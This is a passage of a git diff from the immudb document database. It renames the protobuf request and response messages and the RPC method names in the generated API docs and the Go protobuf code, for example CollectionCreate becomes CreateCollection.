documentId | [string](#string) | | | +| desc | [bool](#bool) | | | +| page | [uint32](#uint32) | | | +| pageSize | [uint32](#uint32) | | | - + -### CollectionCreateRequest +### AuditDocumentResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | -| idFieldName | [string](#string) | | | -| fields | [Field](#immudb.model.Field) | repeated | | -| indexes | [Index](#immudb.model.Index) | repeated | | +| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | - + -### CollectionCreateResponse +### Collection +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | +| idFieldName | [string](#string) | | | +| fields | [Field](#immudb.model.Field) | repeated | | +| indexes | [Index](#immudb.model.Index) | repeated | | - -### CollectionDeleteRequest + + + +### CreateCollectionRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | +| idFieldName | [string](#string) | | | +| fields | [Field](#immudb.model.Field) | repeated | | +| indexes | [Index](#immudb.model.Index) | repeated | | - + -### CollectionDeleteResponse +### CreateCollectionResponse @@ -242,80 +249,77 @@ - + -### CollectionGetRequest +### CreateIndexRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | - - +| collection | [string](#string) | | | +| fields | [string](#string) | repeated | | +| isUnique | [bool](#bool) | | | - -### CollectionGetResponse + +### CreateIndexResponse -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [Collection](#immudb.model.Collection) | | | - + -### CollectionListRequest +### DeleteCollectionRequest +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | - -### CollectionListResponse + +### DeleteCollectionResponse -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collections | [Collection](#immudb.model.Collection) | repeated | | - + -### CollectionUpdateRequest +### DeleteDocumentsRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | -| idFieldName | [string](#string) | | | +| query | [Query](#immudb.model.Query) | | | +| limit | [uint32](#uint32) | | | - + -### CollectionUpdateResponse +### DeleteDocumentsResponse @@ -323,410 +327,373 @@ - + -### DocumentAtRevision +### DeleteIndexRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| transactionId | [uint64](#uint64) | | | -| revision | [uint64](#uint64) | | | -| metadata | [DocumentMetadata](#immudb.model.DocumentMetadata) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - - +| collection | [string](#string) | | | +| fields | [string](#string) | repeated | | - -### DocumentAuditRequest + +### DeleteIndexResponse -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| documentId | [string](#string) | | | -| desc | [bool](#bool) | | | -| page | [uint32](#uint32) | | | -| pageSize | [uint32](#uint32) | | | - + -### DocumentAuditResponse +### DocumentAtRevision | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | +| transactionId | [uint64](#uint64) | | | +| revision | [uint64](#uint64) | | | +| metadata | [DocumentMetadata](#immudb.model.DocumentMetadata) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - + -### DocumentDeleteRequest +### DocumentMetadata | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| query | [Query](#immudb.model.Query) | | | - - - - - - - - -### DocumentDeleteResponse - +| deleted | [bool](#bool) | | | - + -### DocumentInsertManyRequest +### Field | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| documents | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | +| name | [string](#string) | | | +| type | [FieldType](#immudb.model.FieldType) | | | - + -### DocumentInsertManyResponse +### FieldComparison | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| transactionId | [uint64](#uint64) | | | -| documentIds | [string](#string) | repeated | | +| field | [string](#string) | | | +| operator | [ComparisonOperator](#immudb.model.ComparisonOperator) | | | +| value | [google.protobuf.Value](#google.protobuf.Value) | | | - + -### DocumentInsertRequest +### GetCollectionRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | +| name | [string](#string) | | | - + -### DocumentInsertResponse +### GetCollectionResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| transactionId | [uint64](#uint64) | | | -| documentId | [string](#string) | | | - - +| collection | [Collection](#immudb.model.Collection) | | | - -### DocumentMetadata + +### GetCollectionsRequest -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| deleted | [bool](#bool) | | | - + -### DocumentProofRequest +### GetCollectionsResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| documentId | [string](#string) | | | -| transactionId | [uint64](#uint64) | | | -| proofSinceTransactionId | [uint64](#uint64) | | | +| collections | [Collection](#immudb.model.Collection) | repeated | | - + -### DocumentProofResponse +### Index | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| database | [string](#string) | | | -| collectionId | [uint32](#uint32) | | | -| idFieldName | [string](#string) | | | -| encodedDocument | [bytes](#bytes) | | | -| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | +| fields | [string](#string) | repeated | | +| isUnique | [bool](#bool) | | | - + -### DocumentSearchRequest +### InsertDocumentsRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| searchId | [string](#string) | | | -| query | [Query](#immudb.model.Query) | | | -| page | [uint32](#uint32) | | | -| pageSize | [uint32](#uint32) | | | +| collection | [string](#string) | | | +| documents | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | - + -### DocumentSearchResponse +### InsertDocumentsResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| searchId | [string](#string) | | | -| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | +| transactionId | [uint64](#uint64) | | | +| documentIds | [string](#string) | repeated | | - + -### DocumentUpdateRequest +### OrderByClause | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| query | [Query](#immudb.model.Query) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | +| field | [string](#string) | | | +| desc | [bool](#bool) | | | - + -### DocumentUpdateResponse +### ProveDocumentRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| transactionId | [uint64](#uint64) | | | +| collection | [string](#string) | | | | documentId | [string](#string) | | | -| revision | [uint64](#uint64) | | | +| transactionId | [uint64](#uint64) | | | +| proofSinceTransactionId | [uint64](#uint64) | | | - + -### Field +### ProveDocumentResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | -| type | [FieldType](#immudb.model.FieldType) | | | +| database | [string](#string) | | | +| collectionId | [uint32](#uint32) | | | +| idFieldName | [string](#string) | | | +| encodedDocument | [bytes](#bytes) | | | +| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | - + -### FieldComparison +### Query | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| field | [string](#string) | | | -| operator | [ComparisonOperator](#immudb.model.ComparisonOperator) | | | -| value | [google.protobuf.Value](#google.protobuf.Value) | | | +| collection | [string](#string) | | | +| expressions | [QueryExpression](#immudb.model.QueryExpression) | repeated | | +| orderBy | [OrderByClause](#immudb.model.OrderByClause) | repeated | | - + -### Index +### QueryExpression | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| fields | [string](#string) | repeated | | -| isUnique | [bool](#bool) | | | +| fieldComparisons | [FieldComparison](#immudb.model.FieldComparison) | repeated | | - + -### IndexCreateRequest +### SearchDocumentsRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| fields | [string](#string) | repeated | | -| isUnique | [bool](#bool) | | | - - - - - - - - -### IndexCreateResponse - +| searchId | [string](#string) | | | +| query | [Query](#immudb.model.Query) | | | +| page | [uint32](#uint32) | | | +| pageSize | [uint32](#uint32) | | | - + -### IndexDeleteRequest +### SearchDocumentsResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| fields | [string](#string) | repeated | | +| searchId | [string](#string) | | | +| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | - + -### IndexDeleteResponse +### UpdateCollectionRequest +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | +| idFieldName | [string](#string) | | | - -### OrderByClause + +### UpdateCollectionResponse -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| field | [string](#string) | | | -| desc | [bool](#bool) | | | - + -### Query +### UpdateDocumentRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| expressions | [QueryExpression](#immudb.model.QueryExpression) | repeated | | -| orderBy | [OrderByClause](#immudb.model.OrderByClause) | repeated | | +| query | [Query](#immudb.model.Query) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - + -### QueryExpression +### UpdateDocumentResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| fieldComparisons | [FieldComparison](#immudb.model.FieldComparison) | repeated | | +| transactionId | [uint64](#uint64) | | | +| documentId | [string](#string) | | | +| revision | [uint64](#uint64) | | | @@ -778,20 +745,19 @@ | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| -| CollectionCreate | [CollectionCreateRequest](#immudb.model.CollectionCreateRequest) | [CollectionCreateResponse](#immudb.model.CollectionCreateResponse) | | -| CollectionGet | [CollectionGetRequest](#immudb.model.CollectionGetRequest) | [CollectionGetResponse](#immudb.model.CollectionGetResponse) | | -| CollectionList | [CollectionListRequest](#immudb.model.CollectionListRequest) | [CollectionListResponse](#immudb.model.CollectionListResponse) | | -| CollectionDelete | [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) | | -| CollectionUpdate | [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) | | -| IndexCreate | [IndexCreateRequest](#immudb.model.IndexCreateRequest) | [IndexCreateResponse](#immudb.model.IndexCreateResponse) | | -| IndexDelete | [IndexDeleteRequest](#immudb.model.IndexDeleteRequest) | [IndexDeleteResponse](#immudb.model.IndexDeleteResponse) | | -| DocumentInsert | [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) | [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) | | -| DocumentInsertMany | [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) | | -| DocumentUpdate | [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) | | -| DocumentSearch | [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.model.DocumentSearchResponse) | | -| DocumentAudit | [DocumentAuditRequest](#immudb.model.DocumentAuditRequest) | [DocumentAuditResponse](#immudb.model.DocumentAuditResponse) | | -| DocumentProof | [DocumentProofRequest](#immudb.model.DocumentProofRequest) | [DocumentProofResponse](#immudb.model.DocumentProofResponse) | | -| DocumentDelete | [DocumentDeleteRequest](#immudb.model.DocumentDeleteRequest) | [DocumentDeleteResponse](#immudb.model.DocumentDeleteResponse) | | +| CreateCollection | [CreateCollectionRequest](#immudb.model.CreateCollectionRequest) | [CreateCollectionResponse](#immudb.model.CreateCollectionResponse) | | +| GetCollection | [GetCollectionRequest](#immudb.model.GetCollectionRequest) | [GetCollectionResponse](#immudb.model.GetCollectionResponse) | | +| GetCollections | [GetCollectionsRequest](#immudb.model.GetCollectionsRequest) | [GetCollectionsResponse](#immudb.model.GetCollectionsResponse) | | +| UpdateCollection | [UpdateCollectionRequest](#immudb.model.UpdateCollectionRequest) | [UpdateCollectionResponse](#immudb.model.UpdateCollectionResponse) | | +| DeleteCollection | [DeleteCollectionRequest](#immudb.model.DeleteCollectionRequest) | [DeleteCollectionResponse](#immudb.model.DeleteCollectionResponse) | | +| CreateIndex | [CreateIndexRequest](#immudb.model.CreateIndexRequest) | [CreateIndexResponse](#immudb.model.CreateIndexResponse) | | +| DeleteIndex | [DeleteIndexRequest](#immudb.model.DeleteIndexRequest) | [DeleteIndexResponse](#immudb.model.DeleteIndexResponse) | | +| InsertDocuments | [InsertDocumentsRequest](#immudb.model.InsertDocumentsRequest) | [InsertDocumentsResponse](#immudb.model.InsertDocumentsResponse) | | +| UpdateDocument | [UpdateDocumentRequest](#immudb.model.UpdateDocumentRequest) | [UpdateDocumentResponse](#immudb.model.UpdateDocumentResponse) | | +| DeleteDocuments | [DeleteDocumentsRequest](#immudb.model.DeleteDocumentsRequest) | [DeleteDocumentsResponse](#immudb.model.DeleteDocumentsResponse) | | +| SearchDocuments | [SearchDocumentsRequest](#immudb.model.SearchDocumentsRequest) | [SearchDocumentsResponse](#immudb.model.SearchDocumentsResponse) | | +| AuditDocument | [AuditDocumentRequest](#immudb.model.AuditDocumentRequest) | [AuditDocumentResponse](#immudb.model.AuditDocumentResponse) | | +| ProveDocument | [ProveDocumentRequest](#immudb.model.ProveDocumentRequest) | [ProveDocumentResponse](#immudb.model.ProveDocumentResponse) | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 3b455e8de5..11d47ffd94 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -155,7 +155,7 @@ func (ComparisonOperator) EnumDescriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{1} } -type CollectionCreateRequest struct { +type CreateCollectionRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -166,8 +166,8 @@ type CollectionCreateRequest struct { Indexes []*Index `protobuf:"bytes,4,rep,name=indexes,proto3" json:"indexes,omitempty"` } -func (x *CollectionCreateRequest) Reset() { - *x = CollectionCreateRequest{} +func (x *CreateCollectionRequest) Reset() { + *x = CreateCollectionRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[0] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -175,13 +175,13 @@ func (x *CollectionCreateRequest) Reset() { } } -func (x *CollectionCreateRequest) String() string { +func (x *CreateCollectionRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*CollectionCreateRequest) ProtoMessage() {} +func (*CreateCollectionRequest) ProtoMessage() {} -func (x *CollectionCreateRequest) ProtoReflect() protoreflect.Message { +func (x *CreateCollectionRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[0] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -193,47 +193,47 @@ func (x *CollectionCreateRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use CollectionCreateRequest.ProtoReflect.Descriptor instead. -func (*CollectionCreateRequest) Descriptor() ([]byte, []int) { +// Deprecated: Use CreateCollectionRequest.ProtoReflect.Descriptor instead. +func (*CreateCollectionRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{0} } -func (x *CollectionCreateRequest) GetName() string { +func (x *CreateCollectionRequest) GetName() string { if x != nil { return x.Name } return "" } -func (x *CollectionCreateRequest) GetIdFieldName() string { +func (x *CreateCollectionRequest) GetIdFieldName() string { if x != nil { return x.IdFieldName } return "" } -func (x *CollectionCreateRequest) GetFields() []*Field { +func (x *CreateCollectionRequest) GetFields() []*Field { if x != nil { return x.Fields } return nil } -func (x *CollectionCreateRequest) GetIndexes() []*Index { +func (x *CreateCollectionRequest) GetIndexes() []*Index { if x != nil { return x.Indexes } return nil } -type CollectionCreateResponse struct { +type CreateCollectionResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } -func (x *CollectionCreateResponse) Reset() { - *x = CollectionCreateResponse{} +func (x *CreateCollectionResponse) Reset() { + *x = CreateCollectionResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[1] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -241,13 +241,13 @@ func (x *CollectionCreateResponse) Reset() { } } -func (x *CollectionCreateResponse) String() string { +func (x *CreateCollectionResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*CollectionCreateResponse) ProtoMessage() {} +func (*CreateCollectionResponse) ProtoMessage() {} -func (x *CollectionCreateResponse) ProtoReflect() protoreflect.Message { +func (x *CreateCollectionResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[1] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -259,8 +259,8 @@ func (x *CollectionCreateResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use CollectionCreateResponse.ProtoReflect.Descriptor instead. -func (*CollectionCreateResponse) Descriptor() ([]byte, []int) { +// Deprecated: Use CreateCollectionResponse.ProtoReflect.Descriptor instead. +func (*CreateCollectionResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{1} } @@ -374,7 +374,7 @@ func (x *Index) GetIsUnique() bool { return false } -type CollectionGetRequest struct { +type GetCollectionRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -382,8 +382,8 @@ type CollectionGetRequest struct { Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` } -func (x *CollectionGetRequest) Reset() { - *x = CollectionGetRequest{} +func (x *GetCollectionRequest) Reset() { + *x = GetCollectionRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[4] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -391,13 +391,13 @@ func (x *CollectionGetRequest) Reset() { } } -func (x *CollectionGetRequest) String() string { +func (x *GetCollectionRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*CollectionGetRequest) ProtoMessage() {} +func (*GetCollectionRequest) ProtoMessage() {} -func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { +func (x *GetCollectionRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[4] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -409,19 +409,19 @@ func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use CollectionGetRequest.ProtoReflect.Descriptor instead. -func (*CollectionGetRequest) Descriptor() ([]byte, []int) { +// Deprecated: Use GetCollectionRequest.ProtoReflect.Descriptor instead. +func (*GetCollectionRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{4} } -func (x *CollectionGetRequest) GetName() string { +func (x *GetCollectionRequest) GetName() string { if x != nil { return x.Name } return "" } -type CollectionGetResponse struct { +type GetCollectionResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -429,8 +429,8 @@ type CollectionGetResponse struct { Collection *Collection `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` } -func (x *CollectionGetResponse) Reset() { - *x = CollectionGetResponse{} +func (x *GetCollectionResponse) Reset() { + *x = GetCollectionResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[5] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -438,13 +438,13 @@ func (x *CollectionGetResponse) Reset() { } } -func (x *CollectionGetResponse) String() string { +func (x *GetCollectionResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*CollectionGetResponse) ProtoMessage() {} +func (*GetCollectionResponse) ProtoMessage() {} -func (x *CollectionGetResponse) ProtoReflect() protoreflect.Message { +func (x *GetCollectionResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[5] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -456,12 +456,12 @@ func (x *CollectionGetResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use CollectionGetResponse.ProtoReflect.Descriptor instead. -func (*CollectionGetResponse) Descriptor() ([]byte, []int) { +// Deprecated: Use GetCollectionResponse.ProtoReflect.Descriptor instead. +func (*GetCollectionResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{5} } -func (x *CollectionGetResponse) GetCollection() *Collection { +func (x *GetCollectionResponse) GetCollection() *Collection { if x != nil { return x.Collection } @@ -539,14 +539,14 @@ func (x *Collection) GetIndexes() []*Index { return nil } -type CollectionListRequest struct { +type GetCollectionsRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } -func (x *CollectionListRequest) Reset() { - *x = CollectionListRequest{} +func (x *GetCollectionsRequest) Reset() { + *x = GetCollectionsRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[7] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -554,13 +554,13 @@ func (x *CollectionListRequest) Reset() { } } -func (x *CollectionListRequest) String() string { +func (x *GetCollectionsRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*CollectionListRequest) ProtoMessage() {} +func (*GetCollectionsRequest) ProtoMessage() {} -func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { +func (x *GetCollectionsRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[7] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -572,12 +572,12 @@ func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use CollectionListRequest.ProtoReflect.Descriptor instead. -func (*CollectionListRequest) Descriptor() ([]byte, []int) { +// Deprecated: Use GetCollectionsRequest.ProtoReflect.Descriptor instead. +func (*GetCollectionsRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{7} } -type CollectionListResponse struct { +type GetCollectionsResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -585,8 +585,8 @@ type CollectionListResponse struct { Collections []*Collection `protobuf:"bytes,1,rep,name=collections,proto3" json:"collections,omitempty"` } -func (x *CollectionListResponse) Reset() { - *x = CollectionListResponse{} +func (x *GetCollectionsResponse) Reset() { + *x = GetCollectionsResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[8] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -594,13 +594,13 @@ func (x *CollectionListResponse) Reset() { } } -func (x *CollectionListResponse) String() string { +func (x *GetCollectionsResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*CollectionListResponse) ProtoMessage() {} +func (*GetCollectionsResponse) ProtoMessage() {} -func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { +func (x *GetCollectionsResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[8] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -612,19 +612,19 @@ func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use CollectionListResponse.ProtoReflect.Descriptor instead. -func (*CollectionListResponse) Descriptor() ([]byte, []int) { +// Deprecated: Use GetCollectionsResponse.ProtoReflect.Descriptor instead. +func (*GetCollectionsResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{8} } -func (x *CollectionListResponse) GetCollections() []*Collection { +func (x *GetCollectionsResponse) GetCollections() []*Collection { if x != nil { return x.Collections } return nil } -type CollectionDeleteRequest struct { +type DeleteCollectionRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -632,8 +632,8 @@ type CollectionDeleteRequest struct { Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` } -func (x *CollectionDeleteRequest) Reset() { - *x = CollectionDeleteRequest{} +func (x *DeleteCollectionRequest) Reset() { + *x = DeleteCollectionRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[9] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -641,13 +641,13 @@ func (x *CollectionDeleteRequest) Reset() { } } -func (x *CollectionDeleteRequest) String() string { +func (x *DeleteCollectionRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*CollectionDeleteRequest) ProtoMessage() {} +func (*DeleteCollectionRequest) ProtoMessage() {} -func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { +func (x *DeleteCollectionRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[9] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -659,26 +659,26 @@ func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use CollectionDeleteRequest.ProtoReflect.Descriptor instead. -func (*CollectionDeleteRequest) Descriptor() ([]byte, []int) { +// Deprecated: Use DeleteCollectionRequest.ProtoReflect.Descriptor instead. +func (*DeleteCollectionRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{9} } -func (x *CollectionDeleteRequest) GetName() string { +func (x *DeleteCollectionRequest) GetName() string { if x != nil { return x.Name } return "" } -type CollectionDeleteResponse struct { +type DeleteCollectionResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } -func (x *CollectionDeleteResponse) Reset() { - *x = CollectionDeleteResponse{} +func (x *DeleteCollectionResponse) Reset() { + *x = DeleteCollectionResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[10] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -686,13 +686,13 @@ func (x *CollectionDeleteResponse) Reset() { } } -func (x *CollectionDeleteResponse) String() string { +func (x *DeleteCollectionResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*CollectionDeleteResponse) ProtoMessage() {} +func (*DeleteCollectionResponse) ProtoMessage() {} -func (x *CollectionDeleteResponse) ProtoReflect() protoreflect.Message { +func (x *DeleteCollectionResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[10] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -704,12 +704,12 @@ func (x *CollectionDeleteResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use CollectionDeleteResponse.ProtoReflect.Descriptor instead. -func (*CollectionDeleteResponse) Descriptor() ([]byte, []int) { +// Deprecated: Use DeleteCollectionResponse.ProtoReflect.Descriptor instead. +func (*DeleteCollectionResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{10} } -type CollectionUpdateRequest struct { +type UpdateCollectionRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -718,8 +718,8 @@ type CollectionUpdateRequest struct { IdFieldName string `protobuf:"bytes,2,opt,name=idFieldName,proto3" json:"idFieldName,omitempty"` } -func (x *CollectionUpdateRequest) Reset() { - *x = CollectionUpdateRequest{} +func (x *UpdateCollectionRequest) Reset() { + *x = UpdateCollectionRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[11] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -727,13 +727,13 @@ func (x *CollectionUpdateRequest) Reset() { } } -func (x *CollectionUpdateRequest) String() string { +func (x *UpdateCollectionRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*CollectionUpdateRequest) ProtoMessage() {} +func (*UpdateCollectionRequest) ProtoMessage() {} -func (x *CollectionUpdateRequest) ProtoReflect() protoreflect.Message { +func (x *UpdateCollectionRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[11] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -745,33 +745,33 @@ func (x *CollectionUpdateRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use CollectionUpdateRequest.ProtoReflect.Descriptor instead. -func (*CollectionUpdateRequest) Descriptor() ([]byte, []int) { +// Deprecated: Use UpdateCollectionRequest.ProtoReflect.Descriptor instead. +func (*UpdateCollectionRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{11} } -func (x *CollectionUpdateRequest) GetName() string { +func (x *UpdateCollectionRequest) GetName() string { if x != nil { return x.Name } return "" } -func (x *CollectionUpdateRequest) GetIdFieldName() string { +func (x *UpdateCollectionRequest) GetIdFieldName() string { if x != nil { return x.IdFieldName } return "" } -type CollectionUpdateResponse struct { +type UpdateCollectionResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } -func (x *CollectionUpdateResponse) Reset() { - *x = CollectionUpdateResponse{} +func (x *UpdateCollectionResponse) Reset() { + *x = UpdateCollectionResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[12] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -779,13 +779,13 @@ func (x *CollectionUpdateResponse) Reset() { } } -func (x *CollectionUpdateResponse) String() string { +func (x *UpdateCollectionResponse) String() string { return 